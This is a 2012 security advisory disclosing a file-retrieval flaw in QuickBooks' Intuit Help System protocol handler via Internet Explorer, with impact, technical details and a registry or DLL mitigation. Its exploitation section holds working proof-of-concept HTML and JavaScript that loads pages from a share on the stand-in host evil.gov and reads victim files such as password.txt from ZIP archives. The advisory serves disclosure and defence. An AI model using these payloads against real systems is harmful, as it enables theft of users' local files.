Intuit Help System Protocol File Retrieval
Derek Soeder
ds.adv.pub@gmail.com
Reported to security@intuit.com on March 15, 2012; vendor did not respond.
Reported to CERT on March 22, 2012; vendor did not respond.
Responsible disclosure failed with error code 10060.
Published: March 30, 2012
AFFECTED VENDOR
---------------
Intuit, Inc.
AFFECTED ENVIRONMENTS
---------------------
QuickBooks 2009 through QuickBooks 2012, in conjunction with Microsoft
Internet Explorer
UNAFFECTED ENVIRONMENTS
-----------------------
Unknown: other products, versions, and Web browsers have not been tested
IMPACT
------
The vulnerability described in this document can be exploited by
malicious HTML and Javascript to retrieve a file from a ZIP archive to
which the user viewing the HTML has local or network file system
access. The attacker must know or guess the path and file name of the
target ZIP archive and the target file it contains. A further
significant limitation is that files in subdirectories inside of ZIP
archives have proven inaccessible, based on a sampling of Windows
ZIPs, Microsoft Office 2007 documents, JARs, and APKs.
VULNERABILITY DETAILS
---------------------
The Intuit Help System Async Pluggable Protocol ("intu-help-qb5:" in
QuickBooks 2012), implemented in HelpAsyncPluggableProtocol.dll, is
intended to provide access to ZIP-archived content stored on the local
file system for use in displaying QuickBooks' help pages. A URL takes
the following form:
intu-help-qb#:path/archive.zip::file.ext?...
Here, '#' is a digit specific to the installed version of QuickBooks,
currently from 1 to 5; "path/archive.zip" is the file system path and
file name of a ZIP archive (not necessarily with a ".zip" extension);
"file.ext" is the file in the archive (and optionally its path) to
retrieve; and the ellipsis represents any number of optional
name-value pairs which may follow the question mark. Note that if the
"::" or "?" delimiter is missing, the process in which
HelpAsyncPluggableProtocol.dll is parsing the URL will crash on a null
pointer read. Due to a number of unchecked wcscpy_s and wcscat_s
calls targeting fixed-size buffers, most paths exceeding 260
characters--whether supplied explicitly or constructed
internally--will also cause the process to terminate.
Upon receiving a URL, HelpAsyncPluggableProtocol.dll first URL-decodes
it ("%u" encoding is not supported), then converts all forward slashes
to backslashes, and then cracks the URL into its constituent
components. The archive path and file name are eventually converted
to a multibyte string (using wcstombs_s) and then passed to fopen so
that the archive may be read and the specified content retrieved.
Although the protocol is intended to allow access to help files such
as those stored in ZIPs under "%ProgramFiles%\Intuit\QuickBooks
2012\Components\Help\content", it can in fact be used to read any
ZIP-archived file from the local file system or a network share
available to the user accessing the URL. The Exploitation section
below presents two methods by which a remote Web page might abuse this
functionality in order to retrieve arbitrary ZIP-archived content.
However, there are two significant limitations which must be
mentioned. For one, successful exploitation involves supplying
correct paths and file names, whether from independent knowledge or by
guessing; the protocol does not provide directory listings or access
to non-ZIP-format files which might otherwise reveal target paths and
file names of interest. (Be aware, however, that separate
functionality such as "qbwc://docontrol/GetCompanyFile" could provide
useful path information to an attacker.) Second, due to the slash
conversion step mentioned earlier, HelpAsyncPluggableProtocol.dll will
only retrieve files in subfolders of an archive that delimits the
enclosed files' paths with backslashes rather than forward slashes, or
files in the root of the archive. A cursory examination of Windows
compressed folders, Microsoft Office 2007 documents (e.g., .docx,
.pptx, and .xlsx), Java archives (.jar), and Android apps (.apk)
indicates that paths in ZIP archives are basically always delimited
using forward slashes. The only ZIPs so far encountered that use
backslashes are those containing the QuickBooks help files. In short,
it is not expected that much interesting information can often be
obtained through exploitation of this vulnerability.
EXPLOITATION
------------
Two approaches to exploiting this vulnerability, both requiring
Javascript, are presented here. The first approach employs an IFRAME
tag to host the target content and Javascript to then retrieve and
exfiltrate the content. The IFRAME's "src" attribute is an
"intu-help-qb#" URL that targets the ZIP archive and inner file of
interest; assuming the archive and file exist and can be accessed, the
IFRAME will be populated with the decompressed file data. (If the
target ZIP archive or file does not exist or cannot be accessed, the
outermost browser window will display an error, which effectively ends
the attack and thereby prevents repeated file name guessing.)
Assuming the IFRAME loaded successfully, malicious Javascript can then
access its contents via the "window.document.body.innerHTML" property,
although attempting to read this property from a non-"intu-help-qb#"
origin results in a "Permission denied" exception. To work around
this restriction, the page containing the IFRAME can be stored inside
a ZIP archive in an attacker-controlled network share and itself
loaded in an IFRAME. The following proof of concept illustrates:
[first.htm]
<iframe src="intu-help-qb5://evil.gov/share/second.zip::second.htm?">
</iframe>
[\\evil.gov\share\second.zip::second.htm]
<iframe id="MyFrame"
src="intu-help-qb5:C:/Users/Victim/Documents/target.zip::target.doc?"
onload="window.alert(MyFrame.window.document.body.innerHTML)">
</iframe>
In this example, when the victim browses to "first.htm" (wherever it
may reside), an IFRAME uses the "intu-help-qb5" protocol to load
"second.htm" from a ZIP archive in a network share under the
attacker's control. (The attacker's server must be configured to
accept all authentication attempts, and it may need to support WebDAV
if the victim is prevented from making outgoing SMB connections.)
"second.htm" also contains an IFRAME that specifies an "intu-help-qb5"
protocol source; this time, the frame accesses a file from a
particular ZIP archive known to exist on the victim's system. Because
both "second.htm" and the IFRAME it contains have an "intu-help-qb5"
protocol origin, Javascript included in "second.htm" is able to
extract the contents of the IFRAME to serve the attacker's purposes.
The second exploitation approach shares the origin restriction evaded
above through the use of the first IFRAME, but it replaces the second
IFRAME with the use of an XMLHTTP object. The following replacement
"second.htm" page illustrates:
[\\evil.gov\share\second.zip::second.htm]
<script>
function intrude(zip, file)
{
try
{
var o = new ActiveXObject("Msxml2.XMLHTTP");
o.open("GET", "intu-help-qb5:" + zip + "::" + file + "?", false);
o.send("");
window.alert(o.responseText);
}
catch(e) { }
}
intrude("C:/Users/Victim/Documents/target.zip", "target.doc");
intrude("C:/Users/Victim/Documents/target.zip", "target.rtf");
intrude("C:/Users/Victim/Documents/target.zip", "target.txt");
intrude("C:/Users/Victim/Documents/secrets.zip", "login.txt");
intrude("C:/Users/Victim/Documents/secrets.zip", "password.txt");
intrude("C:/Users/Victim/Documents/secrets.zip", "secrets.txt");
</script>
As suggested above, this approach facilitates guessing in cases where
paths and/or file names are not entirely known. Along the same lines,
it should be possible for an attacker to brute-force the version and
even the installation path of QuickBooks on the victim's system, by
guessing the protocol and the path to a known help file.
It is worth noting that any path, absolute or relative, can also be
used in an "intu-help-qb#" URL; however, at least in Internet Explorer
9, the current directory does not appear to reference the browser
cache, meaning a relative path could not be used to access an
automatically-downloaded ZIP archive (for example, a ZIP referenced as
an image) as an alternative to specifying a network share. Although
also not likely to be useful, paths such as "//./pipe/lsass" are
possible, as are elaborate UNC variants such as
"//%3F/UNC/evil.gov/share/second.zip" and
"//./GlobalRoot/Device/LanmanRedirector/;xxx/evil.gov/share/second.zip".
MITIGATION
----------
* Disable the Intuit Help System protocol
Delete, rename, or restrict read access to the
"HKEY_LOCAL_MACHINE\SOFTWARE\[Wow6432Node\]Classes\PROTOCOLS\Handler\intu-help-qb#"
registry key (where '#' is a digit from 1 to 5 as of this writing), or
delete, rename, or restrict execute access to the
"HelpAsyncPluggableProtocol.dll" file in the QuickBooks installation
directory, and then restart Internet Explorer and any application that
uses it as an embedded Web browser. Note that disabling the protocol
will prevent QuickBooks from displaying help pages.
CONCLUSION
----------
This document describes a file retrieval vulnerability in Intuit
QuickBooks, exploitable through Internet Explorer, which according to
current understanding is reduced in severity by some significant
limitations. Security best practices suggest that the affected
protocol should be disabled unless it is sufficiently necessary, so
understanding the threat and its currently known limitations and
prerequisites should better enable users and administrators to
evaluate their degree of exposure and decide what action to take.
GREETINGS
---------
www.ridgewayis.com
www.ftmband.com